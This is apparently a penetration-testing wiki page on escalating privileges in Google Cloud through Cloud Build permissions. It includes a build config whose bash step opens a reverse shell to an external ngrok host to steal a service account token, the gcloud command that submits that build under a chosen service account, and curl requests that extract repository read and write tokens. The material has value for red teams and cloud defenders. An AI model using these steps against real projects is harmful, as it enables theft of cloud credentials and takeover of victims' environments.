GCP - Cloudbuild Privesc

Reading time: 4 minutes

cloudbuild

For more information about Cloud Build check:

GCP - Cloud Build Enum

cloudbuild.builds.create, iam.serviceAccounts.actAs

With this permission you can submit a cloud build. The cloudbuild machine will have in it’s filesystem by default a token of the cloudbuild Service Account: <PROJECT_NUMBER>@cloudbuild.gserviceaccount.com. However, you can indicate any service account inside the project in the cloudbuild configuration.
Therefore, you can just make the machine exfiltrate to your server the token or get a reverse shell inside of it and get yourself the token (the file containing the token might change).

Direct exploitation via gcloud CLI

1- Create cloudbuild.yaml and modify with your listener data

steps:
  - name: bash
    script: |
      #!/usr/bin/env bash
      bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1
options:
  logging: CLOUD_LOGGING_ONLY

2- Upload a simple build with no source, the yaml file and specify the SA to use on the build:

gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects/<PROJECT>/serviceAccounts/<SERVICE_ACCOUNT_ID>@<PROJECT_ID>.iam.gserviceaccount.com

Using python gcloud library

You can find the original exploit script here on GitHub (but the location it's taking the token from didn't work for me). Therefore, check a script to automate the creation, exploit and cleaning of a vuln environment here and a python script to get a reverse shell inside the cloudbuild machine and steal it here (in the code you can find how to specify other service accounts).

For a more in-depth explanation, visit https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/

cloudbuild.repositories.accessReadToken

With this permission the user can get the read access token used to access the repository:

curl -X POST \
     -H "Authorization: Bearer $(gcloud auth print-access-token)" \
     -H "Content-Type: application/json" \
     -d '{}' \
     "https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadToken"

cloudbuild.repositories.accessReadWriteToken

With this permission the user can get the read and write access token used to access the repository:

curl -X POST \
     -H "Authorization: Bearer $(gcloud auth print-access-token)" \
     -H "Content-Type: application/json" \
     -d '{}' \
     "https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadWriteToken"

cloudbuild.connections.fetchLinkableRepositories

With this permission you can get the repos the connection has access to:

curl -X GET \
     -H "Authorization: Bearer $(gcloud auth print-access-token)" \
     "https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>:fetchLinkableRepositories"